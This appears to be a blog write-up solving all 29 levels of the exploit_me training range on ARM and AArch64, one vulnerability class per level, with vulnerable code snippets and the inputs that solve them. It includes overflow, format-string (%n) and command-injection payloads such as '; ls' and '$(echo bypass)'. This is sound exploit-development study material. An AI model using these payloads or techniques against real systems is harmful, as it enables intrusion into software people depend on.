29 Ways to Break ARM: Working Through exploit_me on ARM and AArch64
A tour of all 29 levels of bkerler's exploit_me, one vulnerability class per level, solved and verified on both 32-bit ARM and AArch64 under qemu-user. Integer bugs, stack and heap overflows, UAF, double-free, ROP, JOP, type confusion, format strings, and the injection/race classes a VR role still meets.
My exploit-dev ladder so far has been x86-64. I wanted the same muscle memory on ARM and AArch64, because that’s where mobile and embedded targets live. Rather than build my own range, I worked through bkerler’s exploit_me: 29 levels, each isolating a single vulnerability class, built to be solved on both 32-bit ARM and 64-bit ARM. Every level prints the next level’s password when you solve it, so the whole thing chains start to finish.
This is the overview of all 29. One level — the zero-pointer write in Level 9 — turned into its own debugging story when the published answer failed under emulation; I pulled that out into a separate post.
exploit_meis MIT-licensed training material. Everything ran offline in an emulated sandbox. The point is to learn each bug class on the smallest possible target.
How I ran it
The binaries are statically-linked ARM/AArch64 ELFs, so on my x86-64 box they run under qemu-user, inside a container with no network. AArch64 runs under setarch -R so ASLR is off and the leak-based levels line up between runs:
1
2
3
4
# 32-bit ARM
qemu-arm ./bin/exploit <level_password> <args...>
# 64-bit AArch64
setarch x86_64 -R qemu-aarch64 ./bin/exploit64 <level_password> <args...>
I verified all 29 on both architectures — 58 solves in total. The full per-level transcripts (both arches) are in the repo’s docs/ folder. Below, each level is the vulnerable code, the input that solves it, and why it works.
The ARM/AArch64 differences that actually bite
Before the levels, the things that made me read the AArch64 version rather than assume the x86 shape carries over:
- Pointer width and the frame record. AArch64 saves the frame pointer and the link register together (
stp x29, x30, [sp, ...]), and the return target is that savedx30, not a return address pushed by acall. Offsets and pointer widths change accordingly. - 16-byte stack alignment. AArch64 is stricter, which (as Level 9 taught me) can hide a bug that 32-bit ARM exposes.
- Gadget shapes. ROP/JOP gadgets look like
ldp x0, x1, [sp]; ... ; br x2on AArch64 versuspop {r0,r1,r2,r3,pc}on ARM.
Integer bugs
Level 1 — Integer / short overflow · input 65536
1
2
3
4
5
unsigned short number; int i = atoi(value); unsigned int h=i;
if (h<=0) exit; // 65536 > 0, passes
number=i; // truncates to 16-bit -> 0
if (number!=0) exit; // skipped
if (i<0 || number==0) win; // number==0 -> win
65536 = 0x10000 survives the >0 check as a 32-bit int but truncates to 0 once narrowed into a 16-bit unsigned short. Width-truncation, the simplest integer bug.
Level 17 — Signedness bug · input -1
1
2
3
4
5
int length=atoi(arg);
if (length<64) { // -1 < 64 passes
unsigned int copy_length=(unsigned int)length; // -1 -> 4294967295
if (copy_length>1024) win;
}
A negative int passes a signed upper-bound check, then becomes a huge unsigned. This is the exact shape behind countless memcpy(dst,src,len) overflows where len was validated signed and used unsigned.
Level 18 — Integer multiplication overflow · input 16384
1
2
3
unsigned int count=atoi(arg); // 16384
unsigned short bytes=(unsigned short)(count*4); // 65536 -> 0 in 16 bits
if (count>1024 && bytes<32) win;
16384*4 = 65536 wraps to 0 in a 16-bit value — a size computed by multiplication overflowing to something tiny, which is how undersized allocations get made right before a big copy.
Stack, array, and the off-by-one
Level 2 — Stack overflow (overwrite saved return)
1
char buffer[8]; strcpy(buffer, username); ... strcpy(buffer, password);
buffer[8], unchecked strcpy. The overflow runs past the buffer to the saved return and lands a pointer to level3password(). On 32-bit the payload is admin / aaaabbbbcccc + &level3password; on AArch64 the offset and the 8-byte pointer width differ because the return target is the saved link register.
Level 3 — Array overflow (OOB write primitive)
1
2
int array[32];
array[position]=value; // position unchecked
array[position]=value with no bounds check is an arbitrary relative write. Index past array[32] onto the saved return slot and set value to &level4password — position 33 on ARM, 34 on AArch64.
Level 4 — Off-by-one (the terminating NUL) · input A*256
1
2
3
4
char flag[1]={1}; char buffer[256]; // packed
if (strlen(arg)>256) exit; // exactly 256 allowed
strcpy(buffer,arg); // writes 256 bytes + 1 NUL
if (flag[0]==0) win;
The check is >256, so 256 bytes pass — but strcpy also writes the NUL terminator one byte past the buffer, into flag[0]. The single overflowing byte is the string’s own \0.
Level 5 — Stack cookie (overflow around the canary) · input A*64 + \x01 + \x37\x13
1
2
3
4
unsigned int stack_cookie = secret; // secret = 0x1337
char flag[1]; char tmp[64]; strcpy(tmp,arg);
if (stack_cookie != secret) exit;
if (flag[0]==1) win;
To flip flag[0] you overflow tmp[64], but the overflow crosses the cookie — so you rewrite it with its known value. The hint leaks 0x1337, so the tail is \x37\x13. The toy version of “leak the canary, then write it back.”
Heap bugs
Level 7 — Heap overflow (adjacent field) · input A*(40|48) + "cg"
1
2
3
struct { char data[40|48]; int magic; } *chunk = new ...;
strcpy(chunk->data, text); // overflow into magic
if (chunk->magic == 0x6763) win; // "cg"
Overflowing data writes into the adjacent magic in the same chunk. Filler is 40 bytes on ARM, 48 on AArch64 — the field offset moves with pointer alignment.
Level 16 — Double free (aliased allocations) · input A*16 + "DDDF"
1
2
3
4
a=toy_alloc(); toy_free(a); toy_free(a); // freelist holds a twice
b=toy_alloc(); c=toy_alloc(); // b and c are the SAME chunk
strcpy(b->data,arg);
if (c->magic==0x46444444) win; // "DDDF"
The chunk is on the freelist twice, so b and c alias the same memory and a write through b changes what c sees — the real consequence of a double free.
Level 20 — Uninitialized memory read · input spray
1
2
3
4
void *raw=malloc(sizeof(LeakRecord));
... // "spray" primes the chunk with 0x4c45414b
printf("Leaked auth: 0x%x\n",record->auth); // read without init
if (record->auth==0x4c45414b) win; // "LEAK"
malloc doesn’t zero memory. The win needs the heap to already hold the magic value — how uninitialized reads leak stale heap data in real code.
Level 27 — Heap metadata corruption · input A*40 + "KNIL"
1
2
3
MetaChunk chunks[2]; // {char data[16]; uint size; uint inuse;}
strcpy(chunks[0].data,arg); // overflow into chunks[1]'s header
if (chunks[1].size==0x4c494e4b && chunks[1].inuse==0) win; // "LINK"
Overflowing one chunk’s data overwrites the metadata of the next — the essence of classic heap-metadata attacks. A*40 reaches size, "KNIL" writes 0x4c494e4b, and the trailing NUL clears inuse.
Reads past the end
Level 21 — Out-of-bounds read · input 3
1
2
3
struct { const char *items[3]; const char *hidden; } vault = { {...}, password };
const char *value=vault.items[index]; // index 3 -> one past -> hidden
if (value==vault.hidden) win;
items[3] is one past the 3-element array, landing on hidden. An OOB read discloses adjacent memory — the Heartbleed shape in miniature.
Level 25 — Unsafe parser / deserialization · input 12:AAAAAAAAPLSE
1
2
3
4
struct { char payload[8]; int magic; } packet;
int length=atoi(arg); // trusted length field
memcpy(packet.payload, data, length); // 12 into an 8-byte buffer
if (packet.magic==0x45534c50) win; // "PLSE"
A length-prefixed format where the length is trusted. 12 bytes into an 8-byte payload overflows into magic. The shape of most deserialization memory bugs: a size from the stream drives a copy.
Control-flow hijack
Level 8 — Type confusion / vtable overwrite
1
2
3
4
Root *b = new Msg(); Root *a = new Run();
Run *g = static_cast<Run*>(a);
char tmp[64]; strcpy(tmp,arg); // overflow
g->run(tmp); // virtual call through g's vtable
g->run() dispatches through a vtable pointer. The overflow replaces it so the call lands in Msg::msg (prints the password) instead of Run::run. The exploit leaks b’s address first, then overflows with A*fill + &b.
Level 9 — Zero pointer (arbitrary write of 0)
The zero-pointer write, where the published answer went stale under qemu and argv length moved the target. Full story in its own post.
Level 12 — Return-oriented programming (ROP)
1
2
char buffer[60];
memcpy(buffer,arg,strlen(arg)*2); // the "bad typo" -> 2x copy
The *2 length bug gives the overflow. The payload is a ROP chain: filler, a gadget that pops registers off the stack (ldp x0,x1,[sp]... on AArch64, pop {r0,r1,r2,r3,pc} on ARM), controlled values, then comp2() which checks for 0x5678.
Level 14 — Jump-oriented programming (JOP) · token file
1
2
3
4
void (*caller)(int,char*)={showflag};
char buffer[32];
fread(&length,1,4,fr); fread(&buffer,1,length,fr); // unchecked length -> overflow
caller(flag,buffer); // indirect call through overwritten pointer
A length-prefixed file read overflows buffer and clobbers the caller pointer. The token steers the indirect call to a JOP gadget that loads registers and branches. ROP’s cousin, chaining through jumps instead of returns.
Level 19 — Null / uninitialized function pointer · input recover
1
2
3
void (*handler)()=NULL;
if (!strcmp(arg,"recover")) handler=[](){ win(); };
if (handler!=NULL) handler();
The pointer starts NULL; only the right input assigns a valid handler before the call. Models the danger of calling through a pointer that may never have been initialized.
Level 28 — Function-pointer control flow · input CALLSYS
1
2
3
void (*caller)()={0}; char buffer[32]; strcpy(buffer,arg);
if (strstr(buffer,"CALLSYS")) caller=level29password;
if (caller!=0) caller();
Isolates the primitive every overflow level was chasing: control of an indirect call target is control of execution.
Level 29 — Dangling stack pointer · input STACKWIN
1
2
3
4
5
void save_stack_pointer(){ char first[32]; dangling_stack_ptr=first; } // addr of a local
void reuse_stack_slot(char *arg){
char second[32]; strcpy(second,arg); // reuses that slot
if (!strcmp(dangling_stack_ptr,"STACKWIN")) win; // read through a stale pointer
}
save_stack_pointer stores the address of a local that dies when it returns; reuse_stack_slot reuses the same region. Writing second changes what the stale pointer sees — the stack analogue of use-after-free.
Format strings
Level 6 — Format string (write via %n)
1
2
3
int good='N'; int *p=&good;
fgets(Password,...,stdin); printf(Password); // user-controlled format string
return (char)(*p); // must become 'Y'
printf(user_input) is the bug. %n writes the printed-char count to a stack pointer; the payload walks the stack to &good and writes 'Y' (0x59). 32-bit: %08x%08x%08x%65c%n; 64-bit: %16lx×9 + %201c%n — the width and argument positions differ by ABI.
Level 15 — Stable format-string write · input %75c%1$n
1
2
3
int flag=0;
printf(arg,&flag); // &flag is the first vararg
if (flag==75) win;
Because &flag is passed as the first argument, %1$n writes straight to it — a reliable write with no stack-walking. %75c prints 75 chars, so %1$n stores 75.
Use-after-free
Level 13 — Use-after-free · options 0132 + stdin
1
2
3
4
5
// '0'=new '1'=free '3'=fill '2'=run, processed left to right
mappingptr = malloc(512); ... function=run; // 0
destroymapping(); free(mappingptr); // 1 (pointer kept)
fillmapping(input); // 3: malloc(512) returns the freed chunk; input overwrites function
if (mappingptr->function != run) level13password(); // 2
After free, mappingptr dangles. The next same-size malloc returns the chunk, and the input overwrites the function pointer. UAF via allocator chunk reuse.
The non-memory classes a VR role still meets
Level 10 — Command injection · input aaa ; ls
system("man " + argv[2]) — ; ends the intended command and runs another.
Level 11 — Path traversal · input dir1/dir2/../../
The check validates only the start of the path; ../../ then climbs out.
Level 22 — TOCTOU path race · input safe.txt secret.txt
Checks one path, acts on another — the time-of-check/time-of-use gap made explicit.
Level 23 — Insecure temp file / symlink · symlink setup
Writing a predictable temp path that an attacker pre-created as a symlink lands the write on the link target. Fix: O_CREAT|O_EXCL / mkstemp.
Level 24 — Environment variable injection · EXPLOIT_HELPER=pwned
Trusting an env var as input — the family of LD_PRELOAD / PATH / IFS bugs.
Level 26 — Filtered command injection · input $(echo bypass)
A blocklist that filters only ; misses command substitution $(...) and backticks. Blocklists lose; allowlists and execve (no shell) win.
Takeaways
- The bug classes are the vocabulary; ARM is the accent. The same taxonomy I know from x86-64 is all here, but the AArch64 frame record, the saved link register as return target, 16-byte alignment, and the
ldp/brgadget shapes force you to actually read the 64-bit code instead of pattern-matching the 32-bit one. - Emulation is not neutral. Running under qemu-user changed stack addresses enough to break a hard-coded solution outright (Level 9). Leak-based exploits survived; absolute-address ones didn’t.
- Test both architectures. AArch64’s stricter alignment hid a bug that 32-bit ARM exposed. “It passed on 64-bit” is not proof your understanding is right.
- One level per bug class is a good map. Having all 29 in front of me — integer, stack, heap, OOB, UAF, double-free, format string, ROP/JOP/vtable/function-pointer, plus injection, traversal, TOCTOU and env — is a compact checklist of what to look for in real code.
The full per-level run transcripts for both architectures are in the repo’s docs/ folder. The one level worth reading on its own is the Level 9 zero-pointer writeup — the published answer was stale under emulation, and chasing down why taught me more than the 28 that just worked.